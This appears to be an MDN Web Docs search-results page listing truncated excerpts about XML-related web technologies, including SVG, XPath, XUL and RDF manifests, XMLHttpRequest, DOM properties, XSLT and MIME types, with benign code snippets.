...for instance, this example defines an drawing area with initial size 100 by 100 units, containing a line drawn diagonally through the box: <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <line x1="0" y1="80" x2="100" y2="20" stroke="black" /> </svg> svg can be used in web content in two ways: you can directly write the <svg> element within the html, containing svg elements to draw the image.
...And 2 more matches
Fills and Strokes - SVG: Scalable Vector Graphics
<?xml version="1.0" standalone="no"?> <svg width="160" height="140" xmlns="http://www.w3.org/2000/svg" version="1.1"> <line x1="40" x2="120" y1="20" y2="20" stroke="black" stroke-width="20" stroke-linecap="butt"/> <line x1="40" x2="120" y1="60" y2="60" stroke="black" stroke-width="20" stroke-linecap="square"/> <line x1="40" x2="120" y1="100" y2="100" stroke="black" stroke-width="20" stroke-lineca...
... <?xml version="1.0" standalone="no"?> <svg width="160" height="280" xmlns="http://www.w3.org/2000/svg" version="1.1"> <polyline points="40 60 80 20 120 60" stroke="black" stroke-width="20" stroke-linecap="butt" fill="none" stroke-linejoin="miter"/> <polyline points="40 140 80 100 120 140" stroke="black" stroke-width="20" stroke-linecap="round" fill="none" stroke-linejoin="round"/> <...
... <?xml version="1.0" standalone="no"?> <svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1"> <path d="m 10 75 q 50 10 100 75 t 190 75" stroke="black" stroke-linecap="round" stroke-dasharray="5,10,5" fill="none"/> <path d="m 10 75 l 190 75" stroke="red" stroke-linecap="round" stroke-width="1" stroke-dasharray="5,5" fill="none"/> </svg> the stroke-dasharray attribute...
...And 2 more matches
Getting started - SVG: Scalable Vector Graphics
<svg version="1.1" baseprofile="full" width="300" height="200" xmlns="http://www.w3.org/2000/svg"> <rect width="100%" height="100%" fill="red" /> <circle cx="150" cy="100" r="80" fill="green" /> <text x="150" y="125" font-size="60" text-anchor="middle" fill="white">svg</text> </svg> copy the code and paste it in a file demo1.svg.
... as an xml dialect, svg must always bind the namespaces correctly (in the xmlns attribute).
... svg files on the web can be displayed directly in the browser or embedded in html files via several methods: if the html is xhtml and is delivered as type application/xhtml+xml, the svg can be directly embedded in the xml source.
...And 2 more matches
XPath snippets - XPath
node-specific evaluator function the following custom utility function can be used to evaluate xpath expressions on given xml nodes.
... if you are using xmlhttprequest to read a local or remote xml file into a dom tree (as described in parsing and serializing xml), the first argument to evaluatexpath() should be req.responsexml.
... sample usage assume we have the following xml document (see also how to create a dom tree and parsing and serializing xml): example: an xml document to use with the custom evaluatexpath() utility function <?xml version="1.0"?> <people> <person first-name="eric" middle-initial="h" last-name="jung"> <address street="321 south st" city="denver" state="co" country="usa"/> <address street="123 main st" city="arlington" state="ma" country="usa"/> </person> <person first-name="jed" last-name="brown"> <address street="321 north st" city="atlanta" state="ga" country="usa"/> <address street="123 west st" city="seattle" state="wa" country="usa"/> <address street="321 south avenue" city="denver" state="co" country="usa"/> </person> </people> you can now "query" the do...
...And 2 more matches
Embedding SVG - Archive of obsolete content
svg is an xml based makeup language and can be embedded into other markup languages, like xhtml and xul.
... <?xml version="1.0" encoding="utf-8"?> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <body> <!-- html and svg go here --> </body> </html> example: <?xml version="1.0" encoding="utf-8"?> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <body>...
... <p>hello</p> <svg:svg version="1.1" baseprofile="full" width="150" height="150"> <svg:rect x="10" y="10" width="100" height="100" fill="red"/> <svg:circle cx="50" cy="50" r="30" fill="blue"/> </svg:svg> <p>world</p> </body> </html> embedding into xul make sure you use the right namespace when embedding <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- xul and svg go here --> </window> example: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/t...
...here.is.only.xul" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <vbox> <label value="hello"/> <svg:svg version="1.1" baseprofile="full" width="150" height="150"> <svg:rect x="10" y="10" width="100" height="100" fill="red"/> <svg:circle cx="50" cy="50" r="30" fill="blue"/> </svg:svg> <label value="world"/> </vbox> </window> ...
HTML to DOM - Archive of obsolete content
although you can now natively parse html using domparser and xmlhttprequest, this is a new feature that is not yet supported by all browsers in use in the wild.
... safely parsing simple html to dom when using xmlhttprequest to get the html of a remote webpage, it is often advantageous to turn that html string into dom for easier manipulation.
... parsing complete html to dom loading an html document seems much simpler if it's loaded using the xmlhttprequest object.
... for that matter, we're going to load our html document first: var request = xmlhttprequest(); request.open("get", "http://example.org/file.html", false); request.send(null); our next step is to create the document object that will represent the dom into which we'll insert our newly-retrieved html: var doc = document.implementation.createhtmldocument("example"); doc.documentelement.innerhtml = request.responsetext; after this any manipulation that we might want to do will be something as simple as the following: doc.body.textcontent = "this is inside the body!"; using a hidden iframe element to parse html to a window's dom sample code may need more work.
Install Manifests - Archive of obsolete content
the format of the install manifest is rdf/xml.
... layout the basic layout of an install manifest is like so: <?xml version="1.0" encoding="utf-8"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- properties --> </description> </rdf> some properties are required, some are optional.
... your server must send this file as text/rdf, text/xml or application/rdf+xml or the update checker may not work.
... format of the update manifest: the update manifest is a rdf/xml datasource.
Creating a dynamic status bar extension - Archive of obsolete content
write the xul file we need a slightly more complicated xul file this time, in order to add a reference to the javascript code that will do the real work: <?xml version="1.0" encoding="utf-8"?> <!doctype overlay> <overlay id="stockwatcher-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://stockwatcher/content/stockwatcher.js"/> <!-- firefox --> <statusbar id="status-bar"> <statusbarpanel id="stockwatcher" label="loading..." tooltiptext="current value" on...
... httprequest = new xmlhttprequest(); httprequest.open('get', fullurl, true); httprequest.onload = inforeceived; httprequest.send(null); } the httprequest variable will contain an xmlhttprequest object.
...the first thing we do is create a new xmlhttprequest object to use for processing our request.
...we then fetch the result returned by the web server into the variable output from the xmlhttprequest.responsetext property.
List of Mozilla-Based Applications - Archive of obsolete content
entelechy chat bot uses xulrunner epic browser web browser based on chromium uses mozilla nss and npapi libraries emusic download manager music downloader for emusic emusic remote music manager enlis genome personal genome browser esxx javascript application server uses mozilla rhino etna xml wysiwyg editor eudora mail and news application the upcoming version 8 will be based on thunderbird evergreen library automation system evolution email client uses nss exe elearning xhtml editor seems to be using xul for some of their webui facebook open platform facebook open platform the fbml parser used in the plat...
... uox3 ultima online server-emulator uses mozilla spidermonkey verbosio xml editor no releases available verseminder bible passage app virgin media security security tools seems to use xulrunner virtualbox virtualization tool use xpcom as its component model on linux waterfox 64-bit variant of firefox based on firefox webissimo web browser based on xulrunner websecurify web applica...
...x control worksmart.net suite of web-based workplace apps uses prism wxwebconnect web browser control library wyzo browser xb browser anonymous web browser xbusiness create and send branded invoices, quotes or estimates xdf billing and quotes software xiphos bible study software xmldbeditor database editor xpud linux desktop xpud: linux with an xul interface, 10 second boot time xrap xulrunner application packager xul daim image tool xul explorer development tool xulrunner application xuljet javascript framework uses xulrunner xulmine game standalone version yahoo!
... other places to find mozilla applications include: http://www.mozilla.org/projects/ http://developer.mozilla.org/en/docs/xulrunner_hall_of_fame http://www.mozdev.org http://xulapps.net/ http://dmoz.org/computers/data_formats/markup_languages/xml/applications/xul/applications/ http://blog.mozbox.org/post/2007/06/14/xul-activity-in-france http://www.mozilla.org/projects/security/pki/nss/overview.html http://en.wikipedia.org/wiki/spidermonkey_(javascript_engine) http://www.mozilla.org/rhino/users.html http://groups.google.com/group/mozilla.dev.tech.js-engine.rhino/browse_thread/thread/4eb9162c9c3054b0/1d4115b40373ca3b?lnk=raot http://...
How Mozilla finds its configuration files - Archive of obsolete content
you may use the following items: a program to convert registry.dat file into a readable (and editable) xml file.
... usage: ./readmozprofile.pl < registry.dat >registry.xml a program to convert the xml file back into the binary registry.dat file.
... usage: ./writemozprofile.pl < registry.xml >registry.dat a ready-to-use registry.dat file pointing to h:\mozilla a registry.xml file pointing to h:\mozilla an example of a prefs.js file (to put into the user's h:\mozilla directory).
...the above scripts have been tested with perl-5.8.0, xml-parser-2.34, xml-sax-0.13 and xml-simple-2.14.
Creating a Help Content Pack - Archive of obsolete content
if you understand the basics of html or (preferably) xml, you'll understand the very basics of the syntax - elements, attributes, and element contents.
...insert into it the following text: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:nc="http://home.netscape.com/nc-rdf#"> </rdf:rdf> if you're familiar with html or xml, you might recognize this as the container element for the whole document.
...(the index, table of contents, and search data sources are more likely to be nested, complicating their formats.) create a new rdf file (for now let's name it glossary.rdf), and add the following lines to it: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:nc="http://home.netscape.com/nc-rdf#"> <rdf:description rdf:about="urn:root"> <nc:subheadings> <rdf:seq> </rdf:seq> <nc:subheadings> </rdf:description> </rdf:rdf> this forms the outer framework of a glossary description file.
...let's start with a brief sample rdf file with a single level: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:nc="http://home.netscape.com/nc-rdf#"> <rdf:description rdf:about="urn:root"> <nc:subheadings> <rdf:seq> <rdf:li><rdf:description nc:link="foo.html" nc:title="foo"/></rdf:li> <rdf:li><rdf:description nc:link="baz.html" nc:title="baz"/></rdf:li> </rdf:seq> <nc:sub...
Mozilla E4X - Archive of obsolete content
presentation view online download summary "ecmascript for xml" (ecma-357), a new standard for writing and processing xml directly in javascript (ecma-262, iso-16262).
... e4x marries xml and javascript syntax, and extends javascript to include namespaces, qualified names, and xml elements and lists.
... e4x also adds new javascript operators for filtering xml lists, and for enumerating xml children and descendants.
... another e4x feature: the ability to bind a w3c dom document to a new xml object, reflecting the dom in e4x terms so that updates to either the dom or the e4x object hierarchy show up in the other.
A XUL Bestiary - Archive of obsolete content
in contrast to the mozilla jargon file, this article describes items of specific interest to the web or content developer looking to establish a context for understanding mozilla's new technologies -- and in particular mozilla's xml-based user interface language, xul.
...the chrome url, which appears in place of the http url in pointers like the following global skin processing instruction: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> specifies a chrome to be loaded by the gecko rendering engine.
...the syntax for these elements is based for the most part on xml.
... in briefest terms, xul is the xml-based language used for creating interfaces, xptoolkit is the set of xul widgets (menus, toolbar, etc.) actually assembed for this purpose -- the building blocks of the interface, as it were -- and xpfe, the cross platform front end, is the front end that has been created from xptoolkit.
Adding HTML Elements - Archive of obsolete content
remember that xml is case-sensitive though, so you'll have to enter the tags and attributes in lowercase.
...xmlns:html="http://www.w3.org/1999/xhtml" this is a declaration of html much like the one we used to declare xul.
...here is an example as it might be added to the find file window: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> then, you can use html tags as you would normally, keeping in mind the following: you must add a html: prefix to the beginning of each tag, assuming you declared the html namespace as above.
... xml requires a trailing slash at the end of tags that have no content.
Document Object Model - Archive of obsolete content
the three main documents are htmldocument, xmldocument, and xuldocument, for html, xml and xul documents respectively.
... as with each document, there is a different element object for xul elements as for html and xml elements.
...so, xul elements will have that interface even if added to other xml documents, and non-xul elements will not have that interface.
...here are some examples: <button xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"/> <button xmlns="http://www.w3.org/1999/xhtml"/> <html:button xmlns:html="http://www.w3.org/1999/xhtml"/> <html:button xmlns:html="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"/> namespaces are specified using the xmlns attribute.
Manifest Files - Archive of obsolete content
<?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <rdf:seq about="urn:mozilla:package:root"> <rdf:li resource="urn:mozilla:package:myapplication"/> </rdf:seq> <rdf:description about="urn:mozilla:package:myapplication" chrome:displayname="application title" chrome:author="aut...
...open the contents.rdf file in mozilla to see if it parses as well-formed xml.
... the error message "xml parsing error: undefined entity" in your xul file can be caused by an error in the manifest or in the jar file referenced by the manifest.
... for example, in <!doctype window system "chrome://fireclipse/locale/fireclipse.dtd"> the dtd file must exist and its directory must be correctly addressed in the "locale" manifest or xml parsing will fail.
XUL Template Primer - Bindings - Archive of obsolete content
example to illustrate how <bindings> work, we'll examine this xul document, which builds a simple content model an rdf/xml file.
... <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin" type="text/css"?> <window xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" align="vertical"> <vbox datasources="friends.rdf" ref="urn:root"> <template> <rule> <conditions> <content uri="?uri"/> <triple subject="?uri" predicate="http://home.netscape.com/nc-rdf#friends" object="?friends"/> <member container="?friends" child="?friend"/> <triple subject="?friend" predicate="http://home.netscape.com/nc-rdf#name" object="?name"/> </conditions> <bindings> <binding subject="?friend" predicate="http:...
...see the rdf/xml file friends.rdf, below, a simple database with name and address information for some of my good friends.
... <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:nc="http://home.netscape.com/nc-rdf#"> <rdf:description about="urn:root"> <nc:friends> <rdf:seq> <rdf:li> <rdf:description nc:name="alison appel"> <nc:address resource="#home"/> </rdf:description> </rdf:li> <rdf:li> <rdf:description nc:name="jack"> <nc:address resource="#doghouse"/> </rdf:description> </rdf:li> <rdf:li> <rdf:description nc:name="lumpy"/> </rdf:li> </rdf:seq> </nc:friends> </rdf:description> <rdf:description id="home" nc:street="437 hoffman"/> <rdf:description id="doghouse" nc:street="435 hoffman"/> </rdf:rdf> the rdf model that th...
window - Archive of obsolete content
attributes accelerated, chromemargin, disablechrome, disablefastfind, drawintitlebar, fullscreenbutton, height, hidechrome, id, lightweightthemes, lightweightthemesfooter, screenx, screeny, sizemode, title, width, windowtype examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <!-- run this example using copy & paste in this live xul editor: https://github.com/km-200/xul --> <!-- extremely recommended to keep this css include!!
... --> <window id="rootwnd" title="register online!" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <vbox> <hbox> <image src="application_form.png"/> <description>register online!</description> </hbox> <groupbox align="start"> <caption label="your information"/> <radiogroup> <vbox> <hbox> <label control="your-fname" value="enter first name:"/> <textbox id="your-fname" value="johan"/> </hbox> <hbox> <label control="your-lname" value="enter last name:"/> <textbox id="your-lname" value="hernandez"/> </hbox> <hbox> <button oncommand="alert('save!')"> <description>save</description> </butt...
...), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata see also: dom window object methods note the error message "xml parsing error: undefined entity...<window" can be caused by a missing or unreachable dtd file referenced in the xul file.
... <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <!-- icon from chrome --> <html:link rel="icon" href="chrome://myextension/content/path/to/favicon.png"/> <!-- from a remote site --> <html:link rel="icon" href="http://www.mozilla.org/favicon.ico"/> since firefox 3.6 the above listed code does not work correctly - it produces the fol...
RSS - Archive of obsolete content
really simple syndication (rss) is a popular html-like xml-based data format used for syndication.
...(some being based on rdf, but most only being based on xml.) nonetheless, rss is an extremely popular format that is used for syndicating news, blog posts, ipradio, and iptv, with an amazing amount of momentum.
... community view mozilla xml forums...
... mailing list newsgroup rss feed related topics rdf, xml ...
The Business Benefits of Web Standards - Archive of obsolete content
extensibility using strict html and separating structure from content paves the way to xhtml, an xml-compatible version of html.
... using xhtml will enable web authors to leverage tools from the xml world, such as xslt, to easily manipulate xml data.
... using xhtml is a way to enter a set of standards composed of xml-based technologies, such as xml, xslt (transforming data), svg (animated graphics), mathml (describing mathematic expressions)...
...last but not least, use of standards opens the door to xml technologies.
WAI-ARIA basics - Learn web development
via xmlhttprequest, or dom apis.
...content that updates without the entire page reloading via a mechanism like xmlhttprequest, fetch, or dom apis.
...in this example we have a simple random quote box: <section> <h1>random quote</h1> <blockquote> <p></p> </blockquote> </section> our javascript loads a json file via xmlhttprequest containing a series of random quotes and their authors.
... note: most browsers will throw a security exception if you try to do an xmlhttprequest call from a file:// url, e.g.
Introduction to web APIs - Learn web development
apis that make this possible include xmlhttprequest and the fetch api.
... to provide another example, instances of the xmlhttprequest object (each one represents an http request to the server to retrieve a new resource of some kind) has a number of events available on them, for example, the load event is fired when a response has been successfully returned containing the requested resource, and it is now available.
... the following code provides a simple example of how this would be used: let requesturl = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; let request = new xmlhttprequest(); request.open('get', requesturl); request.responsetype = 'json'; request.send(); request.onload = function() { const superheroes = request.response; populateheader(superheroes); showheroes(superheroes); } note: you can see this code in action in our ajax.html example (see it live also).
... the first five lines specify the location of the resource we want to fetch, create a new instance of a request object using the xmlhttprequest() constructor, open an http get request to retrieve the specified resource, specify that the response should be sent in json format, then send the request.
Server-side web frameworks - Learn web development
html, json, xml), and improving security against web attacks.
... web frameworks often provide a mechanism to make it easy to generate other formats from stored data, including json and xml.
...like django it provides standard mechanisms for routing urls, accessing data from a database, generating html from templates and formatting data as json or xml.
... json and html/xml parsers and generators with css selector support.
Handling common JavaScript problems - Learn web development
this is supposed to be fetched from an external .json file using the following xmlhttprequest call: let requesturl = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; let request = new xmlhttprequest(); request.open('get', requesturl); request.send(); let superheroes = request.response; populateheader(superheroes); showheroes(superheroes); but this fails.
...this settles it — our xmlhttprequest call is returning the json as text, not json.
...to give you a clue, you can either tell the xmlhttprequest object explicitly to return json format, or convert the returned text to json after the response arrives.
...as an example, the fetch api (a modern equivalent to xmlhttprequest) uses promises to fetch resources across the network and make sure that the response has been returned before they are used (for example, displaying an image inside an <img> element).
Creating MozSearch plugins
a mozsearch search plugin is an xml file that describes the search engine, its url, and the parameters that need to be passed to that url.
...the only difference is the root element and xml namespace.
... the following xml is the bundled firefox 2 search plugin for searching using yahoo!: <searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> <url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchterms}" /> <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchterms}"/> <param name="ei" value="utf-8"/> <mozparam name="fr" cond...
... <searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>mdc</shortname> <description>mozilla developer center search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,ivborw0kggoaaaansuheugaaabaaaaaqcayaaaaf8%2f9haaaabgdbtueaak%2finwwk6qaaabl0rvh0u29mdhdhcmuaqwrvymugsw1hz2vszwfkexhjztwaaahwsurbvhjayvz%2f%2fz8djqaggjiqoe%2ffv2fv7oz8rays%2...
Localizing XLIFF files for iOS
firefox for ios uses the xliff xml-based file format to hold and transfer localization data.
...the goal of the standard is to have an xml-based format to use when exchanging localization data between tools without the potential of data loss or corruption.
...editing the raw xliff file is also rather easy, especially if you're already familiar with xml.
... once you've completed translation, it's important to make sure the xml in your xliff file is valid (e.g., no broken tag sets).
nsIUpdateCheckListener
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void oncheckcomplete(in nsixmlhttprequest request, [array, size_is(updatecount)] in nsiupdate updates, in unsigned long updatecount); void onerror(in nsixmlhttprequest request, in nsiupdate update); void onprogress(in nsixmlhttprequest request, in unsigned long position, in unsigned long totalsize); methods oncheckcomplete() called when the update check is completed.
... void oncheckcomplete( in nsixmlhttprequest request, [array, size_is(updatecount)] in nsiupdate updates, in unsigned long updatecount ); parameters request the nsixmlhttprequest object handling the update check.
...void onerror( in nsixmlhttprequest request, in nsiupdate update ); parameters request the nsixmlhttprequest object handling the update check.
...void onprogress( in nsixmlhttprequest request, in unsigned long position, in unsigned long totalsize ); parameters request the nsixmlhttprequest object handling the update check.
nsIWindowMediator
("type" is the |windowtype| attribute of the xml <window> element.) if null, all windows will be enumerated.
...("type" is the |windowtype| attribute of the xml <window> element.) if null, return the topmost window of any type.
...("type" is the |windowtype| attribute of the xml <window> element.) if null, all windows will be enumerated.
...("type" is the |windowtype| attribute of the xml <window> element.) if null, all windows will be enumerated.
Migrating from Firebug - Firefox Developer Tools
show network requests the console panel in firebug allows to log ajax requests (aka xmlhttprequests).
... view json and xml structures to view json and xml responses of ajax requests, firebug has special tabs when expanding the request within the console panel.
...it is currently missing the preview for html, xml and svg, though, which is tracked in bug 1247392 and bug 1262796, but when you click on the url of the request you switch to the network monitor, which has a preview tab.
... inspector firebug has an html panel, which allows to edit html/xml/svg and the css related to it.
Beacon API - Web APIs
requests are guaranteed to be initiated before a page is unloaded and they are run to completion, without requiring a blocking request (for example xmlhttprequest).
... user agents will typically ignore asynchronous xmlhttprequests made in an unload handler.
... to solve this problem, analytics and diagnostics code will typically make a synchronous xmlhttprequest in an unload or beforeunload handler to submit the data.
... the synchronous xmlhttprequest forces the browser to delay unloading the document, and makes the next navigation appear to be slower.
Document - Web APIs
WebAPIDocument
html, xml, svg, …), a larger api is available: html documents, served with the "text/html" content type, also implement the htmldocument interface, whereas xml and svg documents implement the xmldocument interface.
... document.xmlencoding returns the encoding as determined by the xml declaration.
... document.xmlstandalone obsolete since gecko 10 returns true if the xml declaration specifies the document to be standalone (e.g., an external part of the dtd affects the document's content), else false.
... document.xmlversion obsolete since gecko 10 returns the version number as specified in the xml declaration or "1.0" if the declaration is absent.
Using the W3C DOM Level 1 Core - Web APIs
the w3c's dom level 1 core is an api for manipulating the dom trees of html and xml documents (among other tree-like types of documents).
... a dom tree is a kind of tree whose nodes represent an html or xml document's contents.
... each html or xml document has a unique dom tree representation.
...this implies the ability to create any html or xml document from scratch, or to change any contents of a given html or xml document.
Element.innerHTML - Web APIs
WebAPIElementinnerHTML
the element property innerhtml gets or sets the html or xml markup contained within the element.
... reading the html contents of an element reading innerhtml causes the user agent to serialize the html or xml fragment comprised of the element's descendants.
... note: the returned html or xml fragment is generated based on the current contents of the element, so the markup and formatting of the returned fragment is likely not to match the original page markup.
...doing so causes the user agent to follow these steps: the specified value is parsed as html or xml (based on the document type), resulting in a documentfragment object representing the new set of dom nodes for the new elements.
Element.localName - Web APIs
WebAPIElementlocalName
example (must be served with xml content type, such as text/xml or application/xhtml+xml.) <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <script type="application/javascript"><![cdata[ function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri =...
...qualified names are typically used in xml as part of the namespace(s) of the particular xml documents.
... for example, in the qualified name ecomm:partners, partners is the local name and ecomm is the prefix: <ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"> <ecomm:partners> <ecomm:partner id="1001">tony's syrup warehouse </ecomm:partner> </ecomm:partner> </ecomm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html elements in html doms (as opposed to xhtml elements in xml doms).
... in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html elements in html doms and xhtml elements in xml doms.
Element.tagName - Web APIs
WebAPIElementtagName
for example, if the element is an <img>, its tagname property is "img" (for html documents; it may be cased differently for xml/xhtml documents).
... the tag names of elements in an xml dom tree are returned in the same case in which they're written in the original xml file.
... if an xml document includes a tag "<sometag>", then the tagname property's value is "sometag".
... example html <span id="born">when i was born...</span> javascript var span = document.getelementbyid("born"); console.log(span.tagname); in xhtml (or any other xml format), the original case will be maintained, so "span" would be output in case the original tag name was created lowercase.
Navigator.sendBeacon() - Web APIs
ensuring that data has been sent during the unloading of a document has traditionally been difficult, because user agents typically ignore asynchronous xmlhttprequests made in an unload handler.
... historically, this was addressed with some of the following workarounds to delay the page unload long enough to send data to some url: submitting the data with a blocking synchronous xmlhttprequest call in unload or beforeunload event handlers.
... the following example shows theoretical analytics code that attempts to submit data to a server with a synchronous xmlhttprequest in an unload handler.
... window.addeventlistener("unload", function logdata() { var xhr = new xmlhttprequest(); xhr.open("post", "/log", false); // third parameter of `false` means synchronous xhr.send(analyticsdata); }); this is what sendbeacon() replaces.
Node.baseURI - Web APIs
WebAPINodebaseURI
the base url is used to resolve relative urls when the browser needs to obtain an absolute url, for example when processing the html <img> element's src attribute or xml xlink:href attribute.
... in most cases the base url is simply the location of the document, but it can be affected by many factors, including the <base> element in html and the xml:base attribute in xml.
... if the document contains xml:base attributes (which you shouldn't do in html documents), the element.baseuri takes the xml:base attributes of element's parents into account when computing the base url.
... see xml:base for details.
Node.localName - Web APIs
WebAPINodelocalName
syntax name = element.localname name is the local name as a string (see notes below for details) example (must be served with xml content type, such as text/xml or application/xhtml+xml.) <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <script type="application/javascript"><![cdata[ function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri = '" + circle.name...
...qualified names are typically used in xml as part of the namespace(s) of the particular xml documents.
... for example, in the qualified name ecomm:partners, partners is the local name and ecomm is the prefix: <ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"> <ecomm:partners> <ecomm:partner id="1001">tony's syrup warehouse </ecomm:partner> </ecomm:partners> </ecomm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html elements in html doms (as opposed to xhtml elements in xml doms).
... in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html elements in html doms and xhtml elements in xml doms.
Node.nodeType - Web APIs
WebAPINodenodeType
node.processing_instruction_node 7 a processinginstruction of an xml document, such as <?xml-stylesheet … ?>.
... node.entity_reference_node 5 an xml entity reference node, such as &foo;.
... node.entity_node 6 an xml <!entity …> node.
... node.notation_node 12 an xml <!notation …> node.
Introduction - Web APIs
xsl (extensible stylesheet language) transformations are composed of two parts: xsl elements, which allow the transformation of an xml tree into another markup tree and xpath, a selection language for trees.
... xslt takes an xml document (the content) and creates a brand new document based on the rules in the xsl stylesheet.
... this allows xslt to add, remove and reorganize elements from the original xml document and thus allows more fine-grain control of the resulting document's structure.
...each template matches (using xpath) a certain fragment of the input xml document and then applies the substitution part on that fragment to create the new resulting document.
msCachingEnabled - Web APIs
the mscachingenabled method gets the current caching state for an xmlhttprequest.
... syntax var cachestate = xmlhttprequest.mscachingenabled(); parameters cachestate[out, retval] type = boolean.
... if true, xmlhttprequest is cached to disk.
...if true, xmlhttprequest is cached to disk.
HTML attribute reference - HTML: Hypertext Markup Language
the following examples are valid ways to mark up a boolean attribute: <div itemscope> this is valid html but invalid xml.
... </div> <div itemscope=itemscope> this is also valid html but invalid xml.
... </div> <div itemscope=""> this is valid html and also valid xml.
... </div> <div itemscope="itemscope"> this is also valid html and xml, but perhaps a bit verbose.
Common MIME types - HTTP
os/2 bitmap graphics image/bmp .bz bzip archive application/x-bzip .bz2 bzip2 archive application/x-bzip2 .csh c-shell script application/x-csh .css cascading style sheets (css) text/css .csv comma-separated values (csv) text/csv .doc microsoft word application/msword .docx microsoft word (openxml) application/vnd.openxmlformats-officedocument.wordprocessingml.document .eot ms embedded opentype fonts application/vnd.ms-fontobject .epub electronic publication (epub) application/epub+zip .gz gzip compressed archive application/gzip .gif graphics interchange format (gif) image/gif .htm .html hypertext markup langua...
...n format application/json .jsonld json-ld format application/ld+json .mid .midi musical instrument digital interface (midi) audio/midi audio/x-midi .mjs javascript module text/javascript .mp3 mp3 audio audio/mpeg .mpeg mpeg video video/mpeg .mpkg apple installer package application/vnd.apple.installer+xml .odp opendocument presentation document application/vnd.oasis.opendocument.presentation .ods opendocument spreadsheet document application/vnd.oasis.opendocument.spreadsheet .odt opendocument text document application/vnd.oasis.opendocument.text .oga ogg audio audio/ogg .ogv ogg video video/ogg .ogx ogg appl...
